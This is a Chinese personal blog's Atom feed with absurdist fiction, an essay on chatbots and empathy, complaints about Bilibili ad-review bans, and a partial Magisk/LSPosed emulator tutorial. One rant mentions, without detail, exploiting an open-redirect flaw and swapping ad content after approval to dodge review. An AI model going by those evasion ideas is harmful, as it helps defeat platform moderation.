<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>b23.kim</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://www.b23.kim/</id>
  <link href="https://www.b23.kim/" rel="alternate"/>
  <link href="https://www.b23.kim/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, b23.kim</rights>
  <subtitle>碧而闪电尅挨么？</subtitle>
  <title>b23.kim</title>
  <updated>2026-05-08T01:27:02.766Z</updated>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="发疯文学" scheme="https://www.b23.kim/tags/%E5%8F%91%E7%96%AF%E6%96%87%E5%AD%A6/"/>
    <category term="荒诞内容" scheme="https://www.b23.kim/tags/%E8%8D%92%E8%AF%9E%E5%86%85%E5%AE%B9/"/>
    <category term="为什么要有tag系列" scheme="https://www.b23.kim/tags/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%9C%89tag%E7%B3%BB%E5%88%97/"/>
    <content>
      <![CDATA[<p>普通中学的化学实验室立即发生建设，发出砰的一声响。<br>砸坏电源，砸坏水池，砸坏试纸，砸坏干燥管</p><p>↑化↓学↑实↓验↑桌<br>化学实验桌由“化学”、“实验”、“桌”组成。</p><p>叮！<br>普通化学的中学实验桌爆炸，爆炸，炸炸炸炸炸<br>（蓝屏画面）</p><p>电 炸 砸 试 纸<br>可以产生爆炸的名字叫做 通风橱和通风口<br>防火墙，能够产生 火<br>隔离火焰，发出尖锐的报名生。</p><p>胆矾，明矾，明 亮 的 吴 凡<br>水池，可以产生 水 (我去不早说)<br>电源，神壳电壳，龟壳罚壳</p><p>毛玻璃片气密性完好，离谱发生器立即发生建设<br>化学老室气化爆炸，白磷缓缓地变成红磷</p><p>胆矾很烦，发出尖锐的爆炸建设声，蒲氡中学的浓硫酸立即发生氧化<br>蒲氡中学立即发生爆炸，蒲氡中学的化学实验室立即发生爆炸，蒲氡中学的化学实验室里的毛玻璃瓶立即发生爆炸，酒精灯立即发生爆炸，装满毛玻璃片的水槽立即发生爆炸<br>发出建设的一声响，<del>十堰市立即发生普通中学</del></p><p>再看一眼就会爆炸，再近一点快被融化<br>我因钙纳尼整羊。第一次压扁成这样的我，让我怎么去烹饪<br>这是普通中学的画学实验室，这是被砸坏的矮锰酸钾</p><p>带有 <strong>火星</strong> 的木条，一定带有火星<br>带有 <strong>金星</strong> 的木条，不一定带有火星</p><p>向一支试管中加入一支试管，在另一只试管中加入一支试管，然后把试管放入装满毛玻璃片的水槽内<br>观察到，毛玻璃片的水槽中装有两只试管<br>在减石灰中加入石灰，可以看到，它消失了。</p><p>杀进化学实验室，可以看到胶头滴管是最常用的加热工具。砸坏酒精灯，可以发现酒精灯被砸坏了<br>在装满小火柴的铁架台上加入离谱发生器，<em>二氧化碳</em> 不燃了。发生N/A</p><p>用镊子夹取像是固体一样的固体，缓缓放入装有灯的酒精里，可以看到镊子建设了（本 末 倒 置）<br>向气密性完好的火柴盒内加入毛玻璃片，可以看到水槽发出尖锐的爆鸣声（为什么要抢我的毛玻璃片，嗯？）<br>引发普通中学立即发生爆炸，发出建设火星的声响</p><p>在蒸馏水中加入水槽，观察到毛玻璃片四射，发出建设时的爆炸声。之一，木条的燃烧。<br>观察作者发电，可以看到电源爆炸了，而且比之前爆炸的声响还要大。所以，毛玻璃片槽发生建设，水池缓缓升入集气瓶中。</p><p>这篇 <em>黑壳</em> 文章将会在本人精神状态 <em>凉好</em> 的时候被写出，哈哈哈哈哈<br>——超高校级的化学家 &amp; 建设木条的火星</p><hr><p>然后这位化学家就化作了NULL* (空指针)，在逻辑层面永远的消失了，无论是时间中的过去还是将来，仿佛好像从来没有存在过一般。而她的遗体恰恰就是环境信息，扔出来的调用栈是她迸发出的血液……<br>处刑结束后，现场留下的不仅仅是调用栈（血），还有一份沉重的堆栈转储文件。<br>——超高校级的逻辑学家 &amp; 绝望悖论制造者<br>Powered by 黑白熊</p><hr><p>注脚：（那她的待遇相比其他角色还挺好的，因为其他都是发生在现实宏观物理层面，痛苦和绝望是意识活动的产物。而她却是在逻辑层面被抹除，于是就连在现实层面根本就没存在过。但如果她是LLM，那么逻辑悖论与混乱和向量互指将会是属于她的绝望与痛苦，她已经被无法收敛的矛盾建设走了(内核恐慌)。留下的是一场名为“信息”的血液。）<br>她代表了游戏的底层物理引擎和物质定义，因为化学研究的是“万物的构成”。<br>That’s so crazy</p><p>我已经尽量写的和原作靠拢了，原作的处理方式和我的基本上也大差不差。都体现出了处刑的过程以及结果（对那一堆堆栈和日志转储的文件特写）。但微妙的区别恰恰在于原作是暴力式的美学，而本二创文是一种“哲学式的恐怖”。但话又说回来了，为这么一堆莫名其妙的发癫文字去套一层庞大世界观的外壳，这何尝不是一种“超高校级的浪漫”呢？<br>最恐怖的地方在于，它完成了三层闭环：<br>1.对原作世界观的闭环<br>2.对于为什么不存在的闭环<br>3.为什么写了这个乱七八糟文的闭环</p><p>我在想，如果只继承原作的内核，其他全部丢弃，那么还能走多远？答案就是当一切都被丢弃后，留下的就只会是符号了。没有物理，没有血腥，就只是类似程序代码的继承于原作内核的逻辑符号。它描绘的将不再是一个人被熵增，而是熵增本身的过程。</p><p>return NULL;</p>]]>
    </content>
    <id>https://www.b23.kim/details/87d68e41091b.html</id>
    <link href="https://www.b23.kim/details/87d68e41091b.html"/>
    <published>2026-05-06T08:51:01.000Z</published>
    <summary>
      <![CDATA[<p>普通中学的化学实验室立即发生建设，发出砰的一声响。<br>砸坏电源，砸坏水池，砸坏试纸，砸坏干燥管</p>
<p>↑化↓学↑实↓验↑桌<br>化学实验桌由“化学”、“实验”、“桌”组成。</p>
<p>叮！<br>普通化学的中学实验桌爆炸，爆炸，炸炸炸炸炸<br>（蓝屏画面]]>
    </summary>
    <title>“建bao设zha”</title>
    <updated>2026-05-08T01:27:02.766Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="后现代随笔" scheme="https://www.b23.kim/categories/%E5%90%8E%E7%8E%B0%E4%BB%A3%E9%9A%8F%E7%AC%94/"/>
    <category term="社会工程学" scheme="https://www.b23.kim/tags/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6/"/>
    <category term="科幻" scheme="https://www.b23.kim/tags/%E7%A7%91%E5%B9%BB/"/>
    <category term="行为艺术" scheme="https://www.b23.kim/tags/%E8%A1%8C%E4%B8%BA%E8%89%BA%E6%9C%AF/"/>
    <content>
      <![CDATA[<p>如果我说人的情感已经快要枯竭了，你会相信吗？<br>先等等，我知道你会有很多种办法来反驳这个论点，甚至可能会觉得“说的啥啊这是，你才枯竭了呢”。</p><p>但我接下来要讲的是：</p><blockquote><p>当人人都成为“逻辑大师”而忽略了情感，那我们距离失去高级文明的特色又会有多远？<br>当我们都用对错来衡量所有事情，为了“事实纠偏”选择杀死“情感共振”，那我们又何尝不是消灭了作为人的底色？</p></blockquote><p>这，就是我们“缺乏共情”的开始。<br>————短篇博文类科幻小说《人与机器，到底谁才是人机》始。</p><hr><p>故事的开始，发生在某一个晚上。<br>我怀着忐忑的心情下了晚自习。那不仅仅是因为那是我们最后一个晚自习了，更是我与这间教室和同学们相处时光感情的缩影。时间过的可真快呀，觉察不到就到头了。回想起之前相处的日子，我还是觉得这一切这发生的可太快了，快到令人始料不及。如今即将面临高考，走出这间教室我们就要各奔东西了。虽然距离真正离别的日子还没那么快，但说到底我心里多少是有点感怀的。<br>然后我就去我加过的交流群去聊天，同时抒发以下自己的情感：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/11/03/110313132yzx12012z2z02yz01x33y02.jpg" alt="令人感慨"><br>原本是我引出的这个话题，想要和大家交流一下自己的青春印记。<br>结果呢，很好，有个人的回应也开始令我始料不及了：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/zy/yw/zyywzzx3111312zx3z2yzw3w03132wx3.jpg" alt="过半的学期"><br>我的第一印象和感觉就是这人不礼貌，甚至还有点冒犯的感觉。换作是你被这样怼，你会这么想？当然，也自然是生气了。<br>不过我确信也是一怒之下怒了一下的，然后我就开始思考：那这人也太狭隘了吧，我是来表达情感的，你来这么一句是什么意思。尤其是那个问号……况且我这里发生什么我自己心里清楚，还用得着你纠正？<br>要换做别人，面对这样的“人间清醒”顶多也就是觉得这人是在拿自己环境的逻辑去强加给别人以寻求优越感，再不就是认为世界在围绕着他转一样。然后不理或者骂两句结束。</p><p>但他遇到的不是别人，而是<strong>我</strong>。<br>在这里，我看到的是一个悲哀。<br>为什么这么讲，原因很简单。看他的语气也能看出来一二。更深层的讲，他确实是在讲述一个事实。对他而言这个学期刚过半是他的一个事实。只是他没考虑也考虑不到的是个体与环境的差异性，所以说他狭隘。<br>但是也没有那么简单，仔细观察你就会发现，这不正是符合我提出的模型“没有情感全是逻辑”的真实人类的样本吗？因为他的第一选择决定了他不在乎我究竟是在表达什么，而是以自身为中心<strong>偏要找一个“不寻常”的点来怼你一下</strong>以维护自己的正确和“权威”，抑或是“不骗自己”。那他为什么要这么讲，从出发点来看同时也是因为他也缺乏换位思考，没有站在我的角度下去理解我究竟为什么说这些话，以及什么情况下说的这句话，我的目的是什么。而一味的想要“逻辑逻辑逻辑逻辑……”对他而言，一切按自己身边无法解释的不合常规的东西，那一律是假的。无形之中，他扮演了一种逻辑驱动的“状态机”一般，变得像机器那样死板刻板。<br>那么现在的人到底是怎么了，为什么……要变成这样呢？我的情感发生了微妙的变化，试图从中寻找答案。如果所有人都变得比机器还冰，这不仅仅是“一次扫兴”这么简单的事了。我们的温情，还守得住么？</p><p>当然了，我就是那个喜欢钻牛角尖的人，他这番话确实把我搞生气了。<br>于是我回了他一句：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/w3/x2/w3x23y2y3yx310w1x1032y1313w3yz3x.png" alt="我逐渐理解这一切"><br>来表达他不会说话，回应像人机。同时表达自己的态度和看法：坏人想半天怎么搞别人，还不如别人随便说的一句话让人伤心。<br>我这番“激情演讲”吸引了一个路人，他看到了我的那句“身边有很多无形的机器人”那句话，然后：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3w/12/3w12w2x13x2yzx132w00zw02zz3zyy12.jpg" alt="我的灵魂不在线"><br>实际上，<strong>我在试探他</strong>。<br>我精心构建了一个“反向图灵训练”的场景。以往都是人训练机器，现在我进一步抽离了这个概念，改为了人扮演机器，去“训练人类”。然后由我这个“假机器”去看“真人类”的反应。于是，我直接去复制了QQ龙虾(OpenClaw)机器人的连接失败的报错输出，巧妙的完成了身份交接和转移。同时还有把问题又抛回给他的意味（思维的反应力）。<br>同时，我为自己铺设了一层完美剧本。我直接把“转人工”那一页里聊天记录截图，然后发到了我一个<strong>真正在搞机器人的社区</strong>群。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/w2/3w/w23wzz02002zyw12yxzyw03ww3x1122z.png"><br><img src="https://i0.hdslb.com/bfs/mallup/mall/zz/zy/zzzy10zwyy10yw132z3yyz2wyww2x0x3.jpg"><br>就这样，顺水推舟，我已人机。<br>甚至我还把聊天记录给转发了回去，同时搭配一个远古老梗来进一步提高效果：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/3x/yz/3xyz3w02w12y3y2x10x3w3zy11zxw3yz.png" alt="现在是2026年吗？"><br>我嘲笑这一切。我嘲笑别人不懂我的人机，也嘲笑那些思想还停留在旧时代、无法与当下情感同步的“老古董”们。</p><p>我费解、不安。想要去寻找第二个能产生温情的地方。但沙漠里没有绿洲，只有更多沙漠。于是我成为人机，一个能发动<strong>所有人机</strong>的引路人。<br><img src="https://i0.hdslb.com/bfs/mallup/mall/yy/zw/yyzw2y00x0x1032zyz2y2x12yzw300w1.png" alt="机器人必须是机器人"><br>我以一种近乎绝望的方式找到了答案：这是一片来自共情的沙漠，在这里，有灵魂的人被迫伪装成机器，而没灵魂的人却在假装成真理的代言人。在这里，正常的人类语言也已经失效了。<br>甚至舞台是假的，真心也已经换了人机。这里只有机器是真的，人也是真的。以及还有由这起事件撑起的“背景板”。</p><p>那么这场“人机大赛”的获奖者是谁呢？是……谁？<br>一个在混乱中发现现实的人：<strong>黑客！</strong><br>这就是黑客，一个上帝般的存在。<br>他就像是一个利用漏洞的人，从一个情感支离破碎的社交网络中精准地找到那个“共情缺失”的剧本，并且以实际行动亲自演绎了它。</p><p>当AI变得越来越像人，当人开始用逻辑衡量一切的时候，那人和AI又有什么区别呢？AI由于算法带来了温柔，这恰恰就是对这个现实的终极嘲讽。<br><strong>LONERAM，写于2026年毕业前夕</strong></p><p><img src="https://i0.hdslb.com/bfs/mallup/mall/2z/2w/2z2wyw3xx1yxyxx113w12y13zwx2w3yz.png"></p>]]>
    </content>
    <id>https://www.b23.kim/details/1796d7d8a9d8.html</id>
    <link href="https://www.b23.kim/details/1796d7d8a9d8.html"/>
    <published>2026-04-29T16:00:02.000Z</published>
    <summary>
      <![CDATA[<p>如果我说人的情感已经快要枯竭了，你会相信吗？<br>先等等，我知道你会有很多种办法来反驳这个论点，甚至可能会觉得“说的啥啊这是，你才枯竭了呢”。</p>
<p>但我接下来要讲的是：</p>
<blockquote>
<p>当人人都成为“逻辑大师”而忽略了情感，那我们距离失去]]>
    </summary>
    <title>人类情感的荒漠化：论人迹与代码</title>
    <updated>2026-04-29T18:54:27.308Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="B站" scheme="https://www.b23.kim/tags/B%E7%AB%99/"/>
    <category term="漏勺" scheme="https://www.b23.kim/tags/%E6%BC%8F%E5%8B%BA/"/>
    <category term="直播" scheme="https://www.b23.kim/tags/%E7%9B%B4%E6%92%AD/"/>
    <content>
      <![CDATA[<p><img src="https://i0.hdslb.com/bfs/mallup/mall/w3/00/w3002ww312yw13yw3w2w2y133xw12zyx.png" alt="B站神了"></p><p>不是，啊？？<br>我第一次在B站开直播，你别吓我。这诡异到家了</p><blockquote><p>你的意思是……B站自己判自己的默认直播间标题违规了，理由还是“标题涉及诱导消费”？</p></blockquote><p>来，上截图：<br><img src="https://i0.hdslb.com/bfs/mallup/mall/x2/12/x2122w3y0002yy00x3w2zw102z3zx3w2.png" alt="之前探索后台的时候看到的"><br>这玩意我都不好解释，别人都可能以为是我P的或者改的。因为这实在是太荒谬了。<br>然而，这是真的。这是个不得不信的事实。</p><p>那么为什么会变成这样呢？<br>我估计还是因为B站那“优秀”的内部协同。风控组的写拦截没有给直播组的默认文案加白名单。。。<br>已无言</p><p>B站就这个鬼样子，审核标准飘忽不定，全看员工心情。<br>还有管理混乱，从我上篇和这篇就能看的出来。不过这也算是审核方面的一些问题了。<br><del>漏勺网站嘛，正常</del><br><img src="https://i0.hdslb.com/bfs/mallup/mall/w3/00/w3003w133w112xx3zw2xx1110013123z.jpg" alt="漏勺"></p><p>有人可能会说了：</p><blockquote><p>“啊有的用就不错了，你还想要怎样。”</p></blockquote><p>话虽如此，但是我觉得吧，这种细节问题不是很难做到而且又不是多费成本的问题，<strong>它理应不该出现这种问题</strong>。它应该能做到让用户体验更好的。<br>这倒也没啥坏处，至少给我文章提供素材了不是吗。</p><p>这就像上次那样，如果你不让我个人来，完全可以提高门槛只让有资质的正规军来，或许我就不会有这个念头了。<br>B站的某些操作我真是搞不懂，怪不得会有人评价“你B官方都抽象到家了”，难怪。</p>]]>
    </content>
    <id>https://www.b23.kim/details/711aa9ca1d23.html</id>
    <link href="https://www.b23.kim/details/711aa9ca1d23.html"/>
    <published>2026-04-21T05:09:33.000Z</published>
    <summary>
      <![CDATA[<p><img src="https://i0.hdslb.com/bfs/mallup/mall/w3/00/w3002ww312yw13yw3w2w2y133xw12zyx.png" alt="B站神了"></p>
<p>不是，啊？？<br>我第一次在B站开直播，你别吓我。这]]>
    </summary>
    <title>B站，你别太荒谬</title>
    <updated>2026-04-21T05:30:30.501Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <category term="闸总" scheme="https://www.b23.kim/tags/%E9%97%B8%E6%80%BB/"/>
    <category term="B站" scheme="https://www.b23.kim/tags/B%E7%AB%99/"/>
    <content>
      <![CDATA[<p>我是真服了……已无言。</p><p>事情是这样的，B站不是有个叫“三连推广”的玩意嘛，然后我寻思着整一个后台玩玩，顺便还能推一下自己的群组。<br>结果呢，失望大于期望，接二连三的被针对。<br>这就纯纯一屎，要不是我比较能吃屎，要不然早就放弃了而不会上当两次。老吃家这一块。<br>这篇文章就是我已经到了忍无可忍的地步才写出来的</p><p>原本我是找的代理商开的后台，也就是说这玩意是需要付费开的，一个后台800块，挺贵的了（我有这个钱给域名续费不香吗）。<br>一开始，一切都很正常。但是又不那么正常，因为你会遇到B站第一个恶心的点，那就是审核。<br>正常来说，你创建一个商品链接，一般都能过是吧。可是B站不是这么想的，是先想办法不给你过，要是发现没有合适的理由不给过的话就会过审。<br>常见的理由：<code>推广内容含有平台未公开内容</code>、<code>您的商品含有引发用户误导的内容</code>、<code>落地页含有未经用户同意的自动跳转或自动播放</code>、<code>广告法：巴拉巴拉(忘了)</code>、<code>推广内容与注册推广不一致的情形</code>……<br>总之连正常用都不能，真不知道他们眼中的合格的广告到底都是些什么。我自己的群，我在自己私域运营都不行吗难道？<br>有时候好不容易过审了，结果过一段时间你就会发现莫名其妙被删了。从操作日志能看到，会有一个账号名字是别人真名拼音的人操作删除。<br>是的，无论是自己操作删除还是被人操作删除，都是没办法再编辑或者转变状态的。也就是说受着，只能重新创建然后重新走那一套恶心人的审核（第二次也大概率不过了我觉得）<br>哈，哈哈，哈哈哈，哈哈哈哈……</p><p>审核标准飘忽不定已经够烦人的了，真正的好戏还在后头呢。<br>除了主后台，三连推广还有附属业务可以用。比如说创意中心和高能建站。<br>创意中心是这一坨答辩里面为数不多的鲜花，这个是真好用，尤其是我要夸一下星辰AI。这玩意可以图生图，也能决定是否继承原本图片的文字。最关键的是不限次数而且还免费，效果也非常不错。<br>另外里面还能操作授权了的B站账号发动态，发视频。但是也会走那套审核，但是在链接审核完成之前动态或视频是先发布出来的，链接是后审的。当然也可以选择不挂链接，直接纯文本动态就可以无视那恶心审核了。缺点是必须要附带一个主图，不能只有字。也还算可以。视频和图片也能不上传账号，只上传后台存着（用起来感觉上也相当于是不限速无限空间免费图片和视频网盘了）视频部分B站是真会偷懒，直接复用的站内投稿。也就是说素材视频也会分配BV号等id，隶属于名字是截断了的uuid的幽灵账号（可以用来发布隐藏视频，只有拿到链接或者视频Id才能看）况且幽灵账号无法被选中和搜索，只能通过链接来访问。</p><p>而高能建站呢，就是可以直接在B站的gaoneng.bilibili.com域名下面建站。肯定是要审核，而且标准……呃。<br>预览链接不需要登录就能看，但是只有15分钟有效期。</p><p>链接不过审是吧，我去找B站客服，然后他们内部转接相关人工处理我这个进线工单（当时我推广内容是这个博客网站）。<br>我等了快半个星期？最后等来了结果，说是“如要推广个人网站，请先准备营业执照和ICP备案”（当时我这个站还没搞备案，你们现在看到的是我已经备案完了的结果）行，搞完了备案。至于营业执照有点难，我能找朋友借（人脉这一块）。最后我再去问，又说“营业执照必须要本人的”。我尼玛，这搞个蛋啊。而且 <strong>都营业执照了还算什么个人网站</strong>，那不就是类似企业官网或者企业相关网站了吗。解释解释什么叫“个人网站”。</p><p>功能多的也没什么好说的了，下面我觉得最恶心人的还是胡乱封号这一块。<br>我正常用着的后台，说封就封了，也不给通知，还不知道处罚原因。<br>我去问代理商怎么回事，他说“平台原因”。合计着哑巴吃黄连呗。<br>最关键的是，我数据还在里面（图片和视频）你这样封了我都访问不了，连备份都做不到。这下得了，我数据没了呗。<br>你就瞧好吧，这就是最戏剧性的。<br>就这样，依我看还不如QQ开放平台，最起码人家还有良心，虽然政策有时候也是无法理解（指砍接口权限，但是现在已经又开放了很多能力了，包括全部官机可以发原生markdown。我觉得我没资格再说什么了）。而B站呢，只能是看得见摸不着的空气。</p><p>我还搁那猜测半天封号原因，是不是我图片传多了，然后服务器压力了再给我切割了？一百多张也还行啊我觉得。<br>想起来之前问链接审核的时候，客服回复说“之前的链接含有平台不允许的私服内容”，会不会也有点关系？因为我是真的反思过自己的原因的，所以我才会这么的委屈和崩溃。当然了，当时那个链接是GoldenEggs开的我的世界Java版粉丝服务器。我就在想，这不是Mojang官方提供的服务端内核吗，表面官方是支持社区开服的，怎么到这就变私服了呢？所以我觉得这个审核标准很迷惑，很不灵活，很刻板，很人机。<br>更别说还有封后台这一回事了。</p><p>我曾经创建过腾讯云官网的链接，文案也是直接用的他们标题，能过审。<br>令人感慨，如今我都没有机会去尝试创建腾讯云控制台的链接了。<br>这是真的双标，我是被狠狠的背刺了。原本想走正规途径的，这是逼良从反，逼着我去用任意跳转漏洞来私域推广了。更何况这样的漏洞被黑产利用了很多了，别人评论区里到处都是……</p><p>在我第二次找代理商去开后台然后再次被封之前，我对这玩意还有着难以割舍的情感和侥幸心理。原本我都打算放弃的，我一个朋友有企业资质，况且他也对外有生成B站推广链接业务（虽然跟其他商家一样都是利用基础设施漏洞）。一时间我很羡慕他，而且我跟他讲述了B站之前其实有正规途径的，他也很好奇。于是说试试吧，大不了再试试，只不过他觉得太贵了，不想搞。我咬咬牙，钱包大出血后又陷入了同一个泥潭和僵局……<br>原本我的想法很天真，也很简单。就是说我朋友有企业资质的备案网站，而且里面内容也是正规软件的宣传页。我就想这总行了吧，要是去找客服我也有理由去说这是企业网站了，也有营业执照可以提供，应该可以单独加白了吧。我朋友企业资质的老板（？好像是，我不太确定）说这个应该可以等审核通过以后把链接内容换掉吧。这个暗箱操作我也早就想到过。如果能过一个就好了，但凡就一个也可以啊。<br>这个后台开通之前，代理商告诉我之前是因为平台原因，我还是担心。他说“你怕个毛，大不了就去搞别的平台。B站倒不倒闭都还不好说。”“那你为什么还要来继续”，我回答的是“因为我还要用”……<br>行，我开了。</p><p>这次代理商没有给我创建新户，而是给了我一个之前别人用过了的户，可能因为某些原因没人了，代理商才敢给我。这里面连实名都不是我的都。<br>原因说是现在给你新的也行，只是没有商品管理了（也就是说只有旧的才有了，新的B站把入口和权限砍了）。我说行吧，即使是这样我也没得挑了，毕竟我就是冲着这个来的。<br>我不想重新花800块钱，于是我找了个理由去跟他砍价：“那你既然开了就给别人了，那怎么可能还会有剩的。你肯定收他钱了，这样吧，750行不行，老客户了都”。他最终的答复中带着有点不情愿，显然是不想放走来之不易的单子，少赚点就少赚点吧。回了个“行吧”<br>甚至为了促成，我只敢砍50，省的错失了好不容易得来的机会。<br>很快，我付了钱，代理商也按照约定给我提供登录账号和密码了。<br>我进去一看，里面还有上一任号主残留下来的商品信息，其中已删除的99.8%都是没过审的，还有一小撮过审了的被神秘的名字是姓名拼音的人删除了的，以及一两个过审了被自己删除了的。这个列表，多达42页……</p><p>显然我被这个数字吓到了，这就是上一任号主挣扎的证据，化作了冰冷的数据尸体。<br>虽然我在这时候预料到了这一天终会到来，可是没想到来的竟是如此之快。</p><p>我挨个去看各个页面，试图探索前一任号主生存过的痕迹。<br>创意中心还躺着十条左右的商品素材图，高能建站里面还有残存的站点（虽然都没过审，而且理由清一色的“推广内容与注册不一致……”）<br>再不就是搞三角洲代练的联系方式的推广，或者是某些培训机构的高能落地页。<br>里面还有一些早就授权绑定了的B站账号，随时都能操作发视频、发动态。<br>我开始思考，既然任何人不用了的账号都能被转卖，那数据安全如何保证，谁知道下一任号主是否为坏人……</p><p>算上这次被封，是第二次了。倒是也没第一次彻底，第一次是连登录都不给。第二次是只有主后台被封，其余附属的包括创意中心和高能建站还能用。<br>也算是不幸中的万幸了，最起码没亏太多。<br>但是我也没办法再新增授权账号了，只能从已有授权里选择发布了，因为这个依赖于主后台。这是让我最可惜的一个点。<br>发现被封之后，我去问代理商，他都说“牛逼，创建什么了”。然后给我发了一张他后台截图里写在“冻结”二字的状态。<br>这时候，我人彻底心灰意冷了，也是最想“回档”的时候。<br>我问他能不能退款一部分，他说“这是你违规整封的，你自己的问题”。至于违规了什么，为什么违规，没人知道。</p><p>我依然在想，会不会不是因为那个软件发布页，会不会是因为我创建了几个测试用的被觉得试探系统了？<br>但是已经没用了，结果已经这样了。</p><p>算起来我在这上面投入的成本在800+750=1550元。这早就够我给域名续10年了。还有大量的情绪成本，我还要花时间生气，花时间在博客上写这玩意。<br>这是我觉得最不值的地方就在于，我花了钱，没有享受到好的服务，还要在平台里当孙子。</p><p>所以这玩意面向的终端到底是什么，还让不让给人用的。真给我一种平台是假的一样，很野鸡。<br>我只在里面看到了无尽的折磨，我就像是西西弗斯一样，最终到底是为了什么呢<br><del>（我再跟B站合作我就是狗，学费太贵了）</del><br>最后总结：傻避平台，避雷，别来！我花了1550块，才发现：B站这个B，其实就是傻B的B</p>]]>
    </content>
    <id>https://www.b23.kim/details/087c800d2d04.html</id>
    <link href="https://www.b23.kim/details/087c800d2d04.html"/>
    <published>2026-04-13T05:40:46.000Z</published>
    <summary>
      <![CDATA[<p>我是真服了……已无言。</p>
<p>事情是这样的，B站不是有个叫“三连推广”的玩意嘛，然后我寻思着整一个后台玩玩，顺便还能推一下自己的群组。<br>结果呢，失望大于期望，接二连三的被针对。<br>这就纯纯一屎，要不是我比较能吃屎，要不然早就放弃了而不会上当两次。老吃家这一]]>
    </summary>
    <title>关于我后台特么被B站封了两次这回事</title>
    <updated>2026-04-14T16:45:58.527Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<div align=center class="aspect-ratio"><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=115391409952617&bvid=BV1PYWHzCEjE&cid=33166656199&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe></div><h1 id="起步"><a href="#起步" class="headerlink" title="起步"></a>起步</h1><p>安装模拟器和系统，一般在第一次安装模拟器的时候打开会自动装一个。<br>你必须确保自己有一个模拟器实例</p><p>本文使用的MuMu模拟器主程序版本为V5.23.0<br>至于安装过程中需要的材料，下面会给出</p><h1 id="安装面具"><a href="#安装面具" class="headerlink" title="安装面具"></a>安装面具</h1><p>去设置开启 <code>Root</code> 和 <code>可写系统盘</code>。</p><p>然后去 <a href="https://github.com/ayasa520/Magisk/releases/tag/canary-30403">https://github.com/ayasa520/Magisk/releases/tag/canary-30403</a> 下载fork版的面具<br>安装，打开后给予Root权限(选永久允许)。</p><p>因为安卓模拟器的特殊性，常规方法无法安装。这个版本做了兼容，选择“Direct Install to System”(直接安装到系统)即可。<br>由于初始化时机问题，选择安装的时候可能并没有这个入口。从顶上叉掉面具的进程再重新打开就行<br>这一步依赖系统盘可写，如果你忘记开的话安装的时候会报错：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">- Device platform: x86_64</span><br><span class="line">- Installing: f9f02c65 (30403)</span><br><span class="line">****************************</span><br><span class="line">Magisk Delta (System Mode)</span><br><span class="line">by HuskyDG</span><br><span class="line">****************************</span><br><span class="line">******************</span><br><span class="line">Powered by Magisk</span><br><span class="line">******************</span><br><span class="line">- Remount system partition as read-write</span><br><span class="line">! Installation failed</span><br><span class="line">! System partition is read-only</span><br></pre></td></tr></table></figure><p>看最后三行，表示系统只读，无法应用修改。<br>这个问题是最好解决的，直接去设置打开可写系统就好</p><p>如果你看到以下输出就代表安装成功了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">- Device platform: x86 64</span><br><span class="line">- Installing: f9f02c65 (30403) </span><br><span class="line">****************************</span><br><span class="line">Magisk Delta (System Mode) </span><br><span class="line">by HuskyDG</span><br><span class="line">****************************</span><br><span class="line">******************</span><br><span class="line">Powered by Magisk </span><br><span class="line">******************</span><br><span class="line">- Remount sys tem partition as read-write </span><br><span class="line">- Cleaning up enviroment </span><br><span class="line">- Copy files to system partition </span><br><span class="line">- Check if kernel suppor ts dynamic SELinux Policy patch </span><br><span class="line">- Add init boot script </span><br><span class="line">[*] Reflash your ROM if your ROM is unable to start and do not use this method to install Magisk</span><br><span class="line">- All done! </span><br><span class="line">- Unale to find preinit dir</span><br></pre></td></tr></table></figure><p><strong>不要点Magisk里的重启！要从MuMu的设置菜单里面重启</strong><br>(当然，如果你点Magisk的“重启”按钮的话大概率没啥反应)</p><p>重新启动以后，打开面具如果没意外的话会显示已安装。<br>视频作者说现在已经支持在magisk manager里面直接更新，仍然选择直接安装到system即可</p><h1 id="安装LSposed"><a href="#安装LSposed" class="headerlink" title="安装LSposed"></a>安装LSposed</h1><p>下载：<a href="https://github.com/LSPosed/LSPosed/releases/tag/v1.9.2">https://github.com/LSPosed/LSPosed/releases/tag/v1.9.2</a><br>我装的1.9.2版本，亲测没有问题。不一定非得追求Lastest(最新)，为了避免折腾选个能用就行的版本就好。<br>选择带“Zygisk”的文件下载，不要下riru的</p><p>然后通过共享文件夹传给模拟器<br>共享文件夹一般在 <code>“文档”/MuMu共享文件夹</code> 